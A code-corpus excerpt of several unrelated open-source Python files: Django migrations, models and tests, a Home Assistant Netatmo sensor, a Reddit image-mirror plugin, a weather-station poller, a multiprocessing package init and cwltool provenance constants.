'position': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}),
'postcode': ('django.db.models.fields.CharField', [], {'max_length': '8', 'null': 'True', 'blank': 'True'}),
'supervisor': ('django.db.models.fields.CharField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}),
'telephone': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}),
'title': ('django.db.models.fields.CharField', [], {'max_length': '10', 'null': 'True', 'bl | ank': 'True'}),
'username': ('django.db.models.fields.CharField', [], {'max_length': '16', 'unique': 'True', 'null': 'True', 'blank': 'True' | })
},
'applications.application': {
'Meta': {'object_name': 'Application'},
'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']", 'null': 'True', 'blank': 'True'}),
'content_type_temp': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'app_temp_obj'", 'null': 'True', 'to': "orm['contenttypes.ContentType']"}),
'created_by': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['people.Person']", 'null': 'True', 'blank': 'True'}),
'created_date': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'expires': ('django.db.models.fields.DateTimeField', [], {}),
'header_message': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'object_id': ('django.db.models.fields.PositiveIntegerField', [], {'null': 'True', 'blank': 'True'}),
'object_id_temp': ('django.db.models.fields.PositiveIntegerField', [], {'null': 'True', 'blank': 'True'}),
'secret_token': ('django.db.models.fields.CharField', [], {'default': "'f0369b28f1adc73f2c0c351ed377febb0fa872d4'", 'unique': 'True', 'max_length': '64'}),
'state': ('django.db.models.fields.CharField', [], {'default': "'N'", 'max_length': '1'}),
'submitted_date': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'})
},
'applications.projectapplication': {
'Meta': {'object_name': 'ProjectApplication', '_ormbases': ['applications.Application']},
'additional_req': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'application_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['applications.Application']", 'unique': 'True', 'primary_key': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'institute': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['people.Institute']"}),
'machine_categories': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': "orm['machines.MachineCategory']", 'null': 'True', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '200'}),
'user_applications': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': "orm['applications.UserApplication']", 'null': 'True', 'blank': 'True'})
},
'applications.userapplication': {
'Meta': {'object_name': 'UserApplication', '_ormbases': ['applications.Application']},
'application_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['applications.Application']", 'unique': 'True', 'primary_key': 'True'}),
'make_leader': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}),
'needs_account': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}),
'project': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['projects.Project']", 'null': 'True', 'blank': 'True'})
},
'auth.group': {
'Meta': {'object_name': 'Group'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),
'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'})
},
'auth.permission': {
'Meta': {'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'},
'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': (' |
urandu/mfl_api | users/tests/test_models.py | Python | mit | 3,146 | 0 | from django.utils import timezone
from model | _mommy import mommy
from common.tests.test_models import BaseTestCase
from ..models import MflUser
class TestMflUserModel(BaseTestCase):
def test_save_normal_user(self):
data = {
| "email": "some@email.com",
"username": "some",
"first_name": "jina",
"last_name": "mwisho",
"other_names": "jm",
"password": "pass",
}
user = MflUser.objects.create(**data)
# the base test case class comes with another user
self.assertEquals(3, MflUser.objects.count())
# test unicode
self.assertEquals('some@email.com', user.__unicode__())
self.assertEquals("jina", user.get_short_name)
self.assertEquals("jina mwisho jm", user.get_full_name)
def test_save_superuser(self):
self.assertEquals(2, MflUser.objects.count())
data = {
"email": "some@email.com",
"username": "some",
"first_name": "jina",
"last_name": "mwisho",
"other_names": "jm",
"password": "pass",
}
user = MflUser.objects.create_superuser(**data)
# the base test case class comes with another user
self.assertEquals(3, MflUser.objects.count())
self.assertTrue(user.is_superuser)
self.assertTrue(user.is_staff)
def test_permissions_property(self):
data = {
"email": "some@email.com",
"username": "some",
"first_name": "jina",
"last_name": "mwisho",
"other_names": "jm",
"password": "pass",
}
MflUser.objects.create_superuser(**data)
# mysterious error here
# self.assertTrue(len(user.permissions) > 0)
# self.assertTrue("common.add_constituency" in user.permissions)
def test_set_password_does_not_set_for_new_users(self):
user = mommy.make(MflUser)
user.set_password('does not really matter')
self.assertFalse(user.password_history)
def test_set_password_sets_for_existing_users(self):
user = mommy.make(MflUser)
user.last_login = timezone.now()
user.set_password('we now expect the change history to be saved')
self.assertTrue(user.password_history)
self.assertEqual(len(user.password_history), 1)
def test_requires_password_change_new_user(self):
user = mommy.make(MflUser)
self.assertTrue(user.requires_password_change)
def test_requires_password_change_new_user_with_prior_login(self):
user = mommy.make(MflUser)
user.last_login = timezone.now()
self.assertTrue(user.requires_password_change)
def test_doesnt_require_password_change_user_with_prior_passwords(self):
user = mommy.make(MflUser)
user.last_login = timezone.now()
user.set_password('we now expect the change history to be saved')
self.assertFalse(user.requires_password_change)
user.set_password('we now expect the change history to be saved')
self.assertEqual(len(user.password_history), 2)
|
nnic/home-assistant | homeassistant/components/sensor/netatmo.py | Python | mit | 5,202 | 0 | """
homeassistant.components.sensor.netatmo
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
NetAtmo Weather Service service.
For more details about this platform, please refer to the documentation at
https://home-assistant.io/components/sensor.netatmo/
"""
import logging
from datetime import timedelta
from h | omeassistant.components.sensor import DOMAIN
from homeassistant.const import (
CONF_API_KEY, CONF_PASSWORD, CONF_USERNAME, TEMP_CELCIUS)
from homeassistant.helpers import validate_config
from homeassistant.helpers.entity import Entity
from homeassistant.uti | l import Throttle
REQUIREMENTS = [
'https://github.com/HydrelioxGitHub/netatmo-api-python/archive/'
'43ff238a0122b0939a0dc4e8836b6782913fb6e2.zip'
'#lnetatmo==0.4.0']
_LOGGER = logging.getLogger(__name__)
SENSOR_TYPES = {
'temperature': ['Temperature', TEMP_CELCIUS, 'mdi:thermometer'],
'co2': ['CO2', 'ppm', 'mdi:cloud'],
'pressure': ['Pressure', 'mbar', 'mdi:gauge'],
'noise': ['Noise', 'dB', 'mdi:volume-high'],
'humidity': ['Humidity', '%', 'mdi:water-percent']
}
CONF_SECRET_KEY = 'secret_key'
ATTR_MODULE = 'modules'
# Return cached results if last scan was less then this time ago
# NetAtmo Data is uploaded to server every 10mn
# so this time should not be under
MIN_TIME_BETWEEN_UPDATES = timedelta(seconds=600)
def setup_platform(hass, config, add_devices, discovery_info=None):
""" Get the NetAtmo sensor. """
if not validate_config({DOMAIN: config},
{DOMAIN: [CONF_API_KEY,
CONF_USERNAME,
CONF_PASSWORD,
CONF_SECRET_KEY]},
_LOGGER):
return None
import lnetatmo
authorization = lnetatmo.ClientAuth(config.get(CONF_API_KEY, None),
config.get(CONF_SECRET_KEY, None),
config.get(CONF_USERNAME, None),
config.get(CONF_PASSWORD, None))
if not authorization:
_LOGGER.error(
"Connection error "
"Please check your settings for NatAtmo API.")
return False
data = NetAtmoData(authorization)
dev = []
try:
# Iterate each module
for module_name, monitored_conditions in config[ATTR_MODULE].items():
# Test if module exist """
if module_name not in data.get_module_names():
_LOGGER.error('Module name: "%s" not found', module_name)
continue
# Only create sensor for monitored """
for variable in monitored_conditions:
if variable not in SENSOR_TYPES:
_LOGGER.error('Sensor type: "%s" does not exist', variable)
else:
dev.append(
NetAtmoSensor(data, module_name, variable))
except KeyError:
pass
add_devices(dev)
# pylint: disable=too-few-public-methods
class NetAtmoSensor(Entity):
""" Implements a NetAtmo sensor. """
def __init__(self, netatmo_data, module_name, sensor_type):
self._name = "NetAtmo {} {}".format(module_name,
SENSOR_TYPES[sensor_type][0])
self.netatmo_data = netatmo_data
self.module_name = module_name
self.type = sensor_type
self._state = None
self._unit_of_measurement = SENSOR_TYPES[sensor_type][1]
self.update()
@property
def name(self):
return self._name
@property
def icon(self):
return SENSOR_TYPES[self.type][2]
@property
def state(self):
""" Returns the state of the device. """
return self._state
@property
def unit_of_measurement(self):
""" Unit of measurement of this entity, if any. """
return self._unit_of_measurement
# pylint: disable=too-many-branches
def update(self):
""" Gets the latest data from NetAtmo API and updates the states. """
self.netatmo_data.update()
data = self.netatmo_data.data[self.module_name]
if self.type == 'temperature':
self._state = round(data['Temperature'], 1)
elif self.type == 'humidity':
self._state = data['Humidity']
elif self.type == 'noise':
self._state = data['Noise']
elif self.type == 'co2':
self._state = data['CO2']
elif self.type == 'pressure':
self._state = round(data['Pressure'], 1)
class NetAtmoData(object):
""" Gets the latest data from NetAtmo. """
def __init__(self, auth):
self.auth = auth
self.data = None
def get_module_names(self):
""" Return all module available on the API as a list. """
self.update()
return self.data.keys()
@Throttle(MIN_TIME_BETWEEN_UPDATES)
def update(self):
""" Call the NetAtmo API to update the data. """
import lnetatmo
# Gets the latest data from NetAtmo. """
dev_list = lnetatmo.DeviceList(self.auth)
self.data = dev_list.lastData(exclude=3600)
|
kupiakos/LapisMirror | plugins/drawcrowd.py | Python | mit | 4,144 | 0.000724 | # The MIT License (MIT)
# Copyright (c) 2 | 015 kupiakos
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without | restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
import logging
import re
import html
from urllib.parse import urlsplit
import traceback
import requests
import mimeparse
import bs4
import praw
class DrawcrowdPlugin:
"""A tiny import plugin for drawcrowd.com
"""
def __init__(self, useragent: str, **options):
"""Initialize the drawcrowd import API.
:param useragent: The useragent to use for querying tinypic.
:param options: Other options in the configuration. Ignored.
"""
self.log = logging.getLogger('lapis.drawcrowd')
self.headers = {'User-Agent': useragent}
self.regex = re.compile(r'^(.*?\.)?drawcrowd\.com$')
def import_submission(self, submission: praw.objects.Submission) -> dict:
"""Import a submission from drawcrowd. Uses raw HTML scraping.
As it turns out, drawcrowd likes to provide different data
(all in <meta> tags) to non-web-browser requests.
Since it provides enough information anyways, we don't bother getting
around it and just parse that.
This function will define the following values in its return data:
- author: The author of the post
- source: The url of the submission
- importer_display/header
- import_urls
:param submission: A reddit submission to parse.
"""
try:
url = html.unescape(submission.url)
if not self.regex.match(urlsplit(url).netloc):
return None
data = {'source': url}
r = requests.head(url, headers=self.headers)
if r.status_code == 301: # Moved Permanently
return None
mime_text = r.headers.get('Content-Type')
mime = mimeparse.parse_mime_type(mime_text)
if mime[0] == 'image':
data['author'] = 'An unknown drawcrowd user'
image_url = url
else:
# Note: Drawcrowd provides different content to non-web-browsers.
r = requests.get(url, headers=self.headers)
bs = bs4.BeautifulSoup(r.content.decode('utf-8'))
matched = bs.find(property='og:image')
if not matched:
self.log.warning('Could not find locate drawcrowd image to scrape.')
return None
image_url = matched['content']
matched = bs.find(property='og:title')
if matched:
data['author'] = matched['content']
else:
data['author'] = 'an unknown drawcrowd author'
data['importer_display'] = {'header': 'Mirrored image from {}:\n\n'.format(data['author'])}
assert image_url
data['import_urls'] = [image_url]
return data
except Exception:
self.log.error('Could not import drawcrowd URL %s (%s)',
submission.url, traceback.format_exc())
return None
__plugin__ = DrawcrowdPlugin
# END OF LINE.
|
jaycedowell/wxPi | polling.py | Python | gpl-2.0 | 4,492 | 0.03829 | # -*- coding: utf-8 -*
"""
Module for polling the various sensors.
"""
import time
import logging
import threading
import traceback
try:
import cStringIO as StringIO
except ImportError:
import StringIO
from datetime import datetime, timedelta
from decoder import read433
from parser import parsePacketStream
from utils import computeDewPoint, computeSeaLevelPressure, wuUploader
from sensors.bmpBackend import BMP085
__version__ = "0.1"
__all__ = ["PollingProcessor", "__version__", "__all__"]
# Logger instance
pollLogger = logging.getLogger('__main__')
class PollingProcessor(threading.Thread):
"""
Class responsible to running the various zones according to the schedule.
"""
def __init__(self, config, db, leds, buildState=False, loopsForState=1, sensorData={}):
threading.Thread.__init__(self)
self.config = config
self.db = db
self.leds = leds
self.buildState = buildState
self.loopsForState = loopsForState
self.sensorData = sensorData
self. | thread = None
self.alive = threading.Event()
def start(self):
if self.thread is not None:
self.cancel()
self.thread = threading.Thread(target=self.run, name='poller')
self.thread.setDaemon(1)
self.alive.set()
self.thread.start()
pollLogger.info('Started the PollingProcessor background thread')
def cancel(self):
if self.thread is not None:
self.alive.clear() | # clear alive event for thread
self.thread.join()
pollLogger.info('Stopped the PollingProcessor background thread')
def run(self):
tLastUpdate = 0.0
sensorData = self.sensorData
while self.alive.isSet():
## Begin the loop
t0 = time.time()
## Load in the current configuration
wuID = self.config.get('Account', 'id')
wuPW = self.config.get('Account', 'password')
radioPin = self.config.getint('Station', 'radiopin')
duration = self.config.getfloat('Station', 'duration')
elevation = self.config.getfloat('Station', 'elevation')
enableBMP085 = self.config.getbool('Station', 'enablebmp085')
includeIndoor = self.config.getbool('Station', 'includeindoor')
## Read from the 433 MHz radio
for i in xrange(self.loopsForState):
self.leds['red'].on()
tData = time.time() + int(round(duration-5))/2.0
packets = read433(radioPin, int(round(duration-5)))
self.leds['red'].off()
## Process the received packets and update the internal state
self.leds['yellow'].on()
sensorData = parsePacketStream(packets, elevation=elevation,
inputDataDict=sensorData)
self.leds['yellow'].off()
# Poll the BMP085/180 - if needed
if enableBMP085:
self.leds['red'].on()
ps = BMP085(address=0x77, mode=3)
pressure = ps.readPressure() / 100.0
temperature = ps.readTemperature()
self.leds['red'].off()
self.leds['yellow'].on()
sensorData['pressure'] = pressure
sensorData['pressure'] = computeSeaLevelPressure(sensorData['pressure'], elevation)
if 'indoorHumidity' in sensorData.keys():
sensorData['indoorTemperature'] = ps.readTemperature()
sensorData['indoorDewpoint'] = computeDewPoint(sensorData['indoorTemperature'], sensorData['indoorHumidity'])
self.leds['yellow'].off()
## Have we built up the state?
if self.buildState:
self.loopsForState = 1
## Check if there is anything to update in the archive
self.leds['yellow'].on()
if tData != tLastUpdate:
self.db.writeData(tData, sensorData)
pollLogger.info('Saving current state to archive')
else:
pollLogger.warning('Data timestamp has not changed since last poll, archiving skipped')
self.leds['yellow'].off()
## Post the results to WUnderground
if tData != tLastUpdate:
uploadStatus = wuUploader(wuID, wuPW,
tData, sensorData, archive=self.db,
includeIndoor=includeIndoor)
if uploadStatus:
tLastUpdate = 1.0*tData
pollLogger.info('Posted data to WUnderground')
self.leds['green'].blink()
time.sleep(3)
self.leds['green'].blink()
else:
pollLogger.error('Failed to post data to WUnderground')
self.leds['red'].blink()
time.sleep(3)
self.leds['red'].blink()
else:
pollLogger.warning('Data timestamp has not changed since last poll, archiving skipped')
## Done
t1 = time.time()
tSleep = duration - (t1-t0)
tSleep = tSleep if tSleep > 0 else 0
## Sleep
time.sleep(tSleep)
|
perkinslr/pypyjs | addedLibraries/multiprocessing/__init__.py | Python | mit | 7,835 | 0.003574 | #
# Package analogous to 'threading.py' but using processes
#
# multiprocessing/__init__.py
#
# This package is intended to duplicate the functionality (and much of
# the API) of threading.py but uses processes instead of threads. A
# subpackage 'multiprocessing.dummy' has the same API but is a simple
# wrapper for 'threading'.
#
# Try calling `multiprocessing.doc.main()` to read the html
# documentation in a webbrowser.
#
#
# Copyright (c) 2006-2008, R Oudkerk
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
# 3. Neither the name of author nor the names of any contributors may be
# used to endorse or promote products derived from this software
# without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
# SUCH DAMAGE.
#
__version__ = '0.70a1'
__all__ = [
'Process', 'current_process', 'active_children', 'freeze_support',
'Manager', 'Pipe', 'cpu_count', 'log_to_stderr', 'get_logger',
'allow_connection_pickling', 'BufferTooShort', 'TimeoutError',
'Lock', 'RLock', 'Semaphore', 'BoundedSemaphore', 'Condition',
'Event', 'Queue', 'JoinableQueue', 'Pool', 'Value', 'Array',
'RawValue', 'RawArray', 'SUBDEBUG', 'SUBWARNING',
]
__author__ = 'R. Oudkerk (r.m.oudkerk@gmail.com)'
#
# Imports
#
import os
import sys
from multiprocessing.process import Process, current_process, active_children
from multiprocessing.util import SUBDEBUG, SUBWARNING
#
# Exceptions
#
class ProcessError(Exception):
pass
class BufferTooShort(ProcessError):
pass
class TimeoutError(ProcessError):
pass
class AuthenticationError(ProcessError):
pass
# This is down here because _multiprocessing uses BufferTooShort
#import _multiprocessing
#
# Definitions not depending on native semaphores
#
def Manager():
'''
Returns a manager associated with a running server process
The managers methods such as `Lock()`, `Condition()` and `Queue()`
can be used to create shared objects.
'''
from multiprocessing.managers import SyncManager
m = SyncManager()
m.start()
return m
def Pipe(duplex=True, buffer_id = None):
'''
Returns two connection object connected by a pipe
'''
from multiprocessing.connection import Pipe
return Pipe(duplex, buffer_id)
def cpu_count():
'''
Returns the number of CPUs in the system
'''
if sys.platform == 'win32':
try:
num = int(os.environ['NUMBER_OF_PROCESSORS'])
except (ValueError, KeyError):
num = 0
elif 'bsd' in sys.platform or sys.platform == 'darwin':
comm = '/sbin/sysctl -n hw.ncpu'
if sys.platform == 'darwin':
comm = '/usr' + comm
try:
with os.popen(comm) as p:
num = int(p.read())
except ValueError:
num = 0
else:
try:
num = os.sysconf('SC_NPROCESSORS_ONLN')
except (ValueError, OSError, AttributeError):
num = 0
if num >= 1:
return num
else:
raise NotImplementedError('cannot determine number of cpus')
def freeze_support():
'''
Check whether this is a fake forked process in a frozen executable.
If so then run code specified by commandline and exit.
'''
if sys.platform == 'win32' and getattr(sys, 'frozen', False):
from multiprocessing.forking import freeze_support
freeze_support()
def get_logger():
'''
Return package logger -- if it does not already exist then it is created
'''
from multiprocessing.util import get_logger
return get_logger()
def log_to_stderr(level=None):
'''
Turn on logging and add a handler which prints to stderr
'''
from multiprocessing.util import log_to_stderr
return log_to_stderr(level)
def allow_connection_pickling():
'''
Install support for sending connections and sockets between processes
'''
from multiprocessing import reduction
#
# Definitions depending on native semaphores
#
def Lock():
'''
Returns a non-recursive lock object
'''
from multiprocessing.synchronize import Lock
return Lock()
def RLock():
'''
Returns a recursive lock object
'''
from multiprocessing.synchronize import RLock
return RLock()
def Condition(lock=None):
'''
Returns a condition object
'''
from multiprocessing.synchronize import Condition
return Condition(lock)
def Semaphore(value=1):
'''
Returns a semaphore object
'''
from multiprocessing.synchronize import Semaphore
return Semaphore(value)
def BoundedSemaphore(value=1):
'''
Returns a bounded semaphore object
'''
from multiprocessing.synchronize import BoundedSemaphore
return BoundedSemaphore(value)
def Event():
'''
Returns an event object
'''
from multiprocessing.synchronize import Event
return Event()
def Queue(maxsize=0):
'''
Returns a queue object
'''
from multiprocessing.queues import Queue
return Queue(maxsize)
def JoinableQueue(maxsize=0):
'''
Returns a queue object
'''
from multiprocessing.queues import JoinableQueue
return JoinableQueue(maxsize)
def Pool(processes=None, initializer=None, initargs=(), maxtasksperchild=None):
'''
Returns a process pool object
'''
from multiprocessing.pool import Pool
retu | rn Pool(processes, initializer, initargs, maxtasksperchild)
def RawValue(typecode_or_type, *args):
'''
Returns a shared object
'''
from multiprocessing.sharedctypes import RawValue
return RawValue(typecode_or_type, *args)
def RawArray(typecode_or_type, size_or_initializer):
'''
Returns a shared array
'''
from multiproces | sing.sharedctypes import RawArray
return RawArray(typecode_or_type, size_or_initializer)
def Value(typecode_or_type, *args, **kwds):
'''
Returns a synchronized shared object
'''
from multiprocessing.sharedctypes import Value
return Value(typecode_or_type, *args, **kwds)
def Array(typecode_or_type, size_or_initializer, **kwds):
'''
Returns a synchronized shared array
'''
from multiprocessing.sharedctypes import Array
return Array(typecode_or_type, size_or_initializer, **kwds)
#
#
#
if sys.platform == 'win32':
def set_executable(executable):
'''
Sets the path to a python.exe or pythonw.exe binary used to run
child processes on Windows instead of sys.executable.
Useful for people embedding Python.
'''
from multiprocessing.forking import set_executable
set_executable(executable)
__all__ += ['set_executable']
|
flyxiao2000/myide | python_resource/myexception.py | Python | gpl-3.0 | 118 | 0.008475 | import sys
try:
import myahll
except Exception as | e:
for info in e.args:
print info
| sys.exit(1)
|
nephthys/shr_im | oauthlogin/decorators.py | Python | gpl-3.0 | 550 | 0.034545 | from django.http import HttpResponseRedirect
from django.core.urlresolvers import reverse
from models import Account
def wants_user(f):
def decorated(*args, **kwargs):
try: args[0].user = Account.objects.get(pk=args[0].session['user_id'])
| except: args[0].user = None
return f(*args, **kwargs)
return decorated
def needs_user(url):
def decorated1(f):
@wants_user
def decorated2(*args, **kwargs):
if not args[0].user: return HttpResponseRedirect(reverse(url))
else: return f(*args, **kwargs)
return decorated2
r | eturn decorated1
|
DBrianKimmel/PyHouse | Project/src/Modules/Computer/Web/web_rootMenu.py | Python | mit | 1,294 | 0.001546 | """
@name: PyHouse/Project/src/Modules/Computer/Web/web_rootMenu.py
@author: D. Brian Kimmel
@contact: D.BrianKimmel@gmail.com
@copyright: (c) 2013-2019 by D. Brian Kimmel
@license: MIT License
@note: Created on May 30, 2013
@summary: Handle the Main menu.
"""
__updated__ = '2019-10-31'
# Import system type stuff
from twisted.web._element import renderer, Element
# Import PyMh files and modules.
from M | odules.Core import logging_pyh as Logger
LOG = Logger.getLogger('PyHouse.webRootMenu ')
class RootMenuElement(Element):
"""
"""
# docFactory | = loaders.xmlfile(os.path.join(templatepath, 'rootMenuElement.html'))
jsClass = u'rootMenu.RootMenuWidget'
def __init__(self, p_workspace_obj):
self.m_pyhouse_obj = p_workspace_obj.m_pyhouse_obj
@renderer
def XXdoRootMenuReload(self, _p_json):
""" Process a message for a XML save/reload from the browser/client.
"""
LOG.info("Self: {}".format(self))
self.m_pyhouse_obj.XXPyHouseMainApi.SaveXml(self.m_pyhouse_obj)
@renderer
def doRootMenuQuit(self, p_json):
""" Process a message for a browser logoff and quit that came from the browser/client.
"""
LOG.info("Self: {}; JSON: {}".format(self, p_json))
# ## END DBK
|
common-workflow-language/cwltool | cwltool/provenance_constants.py | Python | apache-2.0 | 1,889 | 0 | import hashlib
import os
import uuid
from prov.identifier import Namespace
__citation__ = "https://doi.org/10.5281/zenodo.1208477"
# NOTE: Semantic versioning of the CWLProv Research Object
# **and** the cwlprov files
#
# Rough guide (major.minor.patch):
# 1. Bump major number if removing/"breaking" resources or PROV statements
# 2. Bump minor number if adding resources or PROV statements
# 3. Bump patch number for non-breaking non-adding changes,
# e.g. fixing broken relative paths
CWL | PROV_VERSION = "https://w3id.org/cwl/prov/0.6.0"
# Research Object folders
METADATA = " | metadata"
DATA = "data"
WORKFLOW = "workflow"
SNAPSHOT = "snapshot"
# sub-folders
MAIN = os.path.join(WORKFLOW, "main")
PROVENANCE = os.path.join(METADATA, "provenance")
LOGS = os.path.join(METADATA, "logs")
WFDESC = Namespace("wfdesc", "http://purl.org/wf4ever/wfdesc#")
WFPROV = Namespace("wfprov", "http://purl.org/wf4ever/wfprov#")
WF4EVER = Namespace("wf4ever", "http://purl.org/wf4ever/wf4ever#")
RO = Namespace("ro", "http://purl.org/wf4ever/ro#")
ORE = Namespace("ore", "http://www.openarchives.org/ore/terms/")
FOAF = Namespace("foaf", "http://xmlns.com/foaf/0.1/")
SCHEMA = Namespace("schema", "http://schema.org/")
CWLPROV = Namespace("cwlprov", "https://w3id.org/cwl/prov#")
ORCID = Namespace("orcid", "https://orcid.org/")
UUID = Namespace("id", "urn:uuid:")
# BagIt and YAML always use UTF-8
ENCODING = "UTF-8"
TEXT_PLAIN = 'text/plain; charset="%s"' % ENCODING
# sha1, compatible with the File type's "checksum" field
# e.g. "checksum" = "sha1$47a013e660d408619d894b20806b1d5086aab03b"
# See ./cwltool/schemas/v1.0/Process.yml
Hasher = hashlib.sha1
SHA1 = "sha1"
SHA256 = "sha256"
SHA512 = "sha512"
# TODO: Better identifiers for user, at least
# these should be preserved in ~/.config/cwl for every execution
# on this host
USER_UUID = uuid.uuid4().urn
ACCOUNT_UUID = uuid.uuid4().urn
|
wagnerluis1982/speakerfight | deck/models.py | Python | mit | 12,918 | 0.000155 | from django.conf import settings
from django.contrib.auth.models import AnonymousUser
from django.core.exceptions import ValidationError
from django.core.mail import send_mail
from django.core.urlresolvers import reverse
from django.db import models, transaction
from django.db.models import Count
from django.db.models.aggregates import Sum
from django.db.models.signals import post_delete, post_save
from django.dispatch import receiver
from django.template.loader import render_to_string
from django.utils.translation import ugettext as _
from django.utils import timezone
from django_extensions.db.fields import AutoSlugField
from allauth.account.signals import user_signed_up
from textwrap import dedent
from jury.models import Jury
import datetime
class DeckBaseManager | (models.QuerySet):
def cached_authors(self):
retu | rn super(DeckBaseManager, self).select_related('author')
def published_ones(self):
return self.cached_authors().filter(is_published=True)
def order_by_never_voted(self, user_id):
if self.model != Proposal:
raise AttributeError(
"%s object has no attribute %s" % (
self.model, 'order_by_never_voted'))
order_by_criteria = dedent("""
SELECT 1
FROM deck_vote
WHERE deck_vote.user_id = %s AND
deck_vote.proposal_id = deck_proposal.activity_ptr_id
LIMIT 1
""")
new_ordering = ['-never_voted']
if settings.DATABASES['default'].get('ENGINE') == 'django.db.backends.sqlite3':
new_ordering = ['never_voted']
new_ordering.extend(Proposal._meta.ordering)
return self.extra(
select=dict(never_voted=order_by_criteria % user_id),
order_by=new_ordering
)
class DeckBaseModel(models.Model):
title = models.CharField(_('Title'), max_length=200)
slug = AutoSlugField(populate_from='title', overwrite=True,
max_length=200, unique=True, db_index=True)
description = models.TextField(
_('Description'), max_length=10000, blank=True)
created_at = models.DateTimeField(_('Created At'), auto_now_add=True)
is_published = models.BooleanField(_('Publish'), default=True)
# relations
author = models.ForeignKey(to=settings.AUTH_USER_MODEL,
related_name='%(class)ss')
# managers
objects = DeckBaseManager.as_manager()
class Meta:
abstract = True
def __unicode__(self):
return unicode(self.title)
class Vote(models.Model):
ANGRY, SLEEPY, SAD, HAPPY, LAUGHING = range(-1, 4)
VOTE_TITLES = dict(
angry=_('Angry'), sad=_('Sad'),
sleepy=_('Sleepy'), happy=_('Happy'),
laughing=_('Laughing')
)
VOTE_RATES = ((ANGRY, 'angry'),
(SAD, 'sad'),
(SLEEPY, 'sleepy'),
(HAPPY, 'happy'),
(LAUGHING, 'laughing'))
rate = models.SmallIntegerField(_('Rate Index'), null=True, blank=True,
choices=VOTE_RATES)
# relations
proposal = models.ForeignKey(to='deck.Proposal', related_name='votes')
user = models.ForeignKey(to=settings.AUTH_USER_MODEL, related_name='votes')
class Meta:
verbose_name = _('Vote')
verbose_name_plural = _('Votes')
unique_together = (('proposal', 'user'),)
def __unicode__(self):
return u"{0.user}: {0.rate} in {0.proposal}".format(self)
def save(self, *args, **kwargs):
validation_message = None
user_is_in_jury = self.proposal.event.jury.users.filter(
pk=self.user.pk).exists()
if (self.user.is_superuser or user_is_in_jury):
pass
elif self.user == self.proposal.author:
validation_message = _(u'You cannot Rate your own proposals.')
elif not self.proposal.event.allow_public_voting:
validation_message = _(u"Proposal doesn't accept Public Voting.")
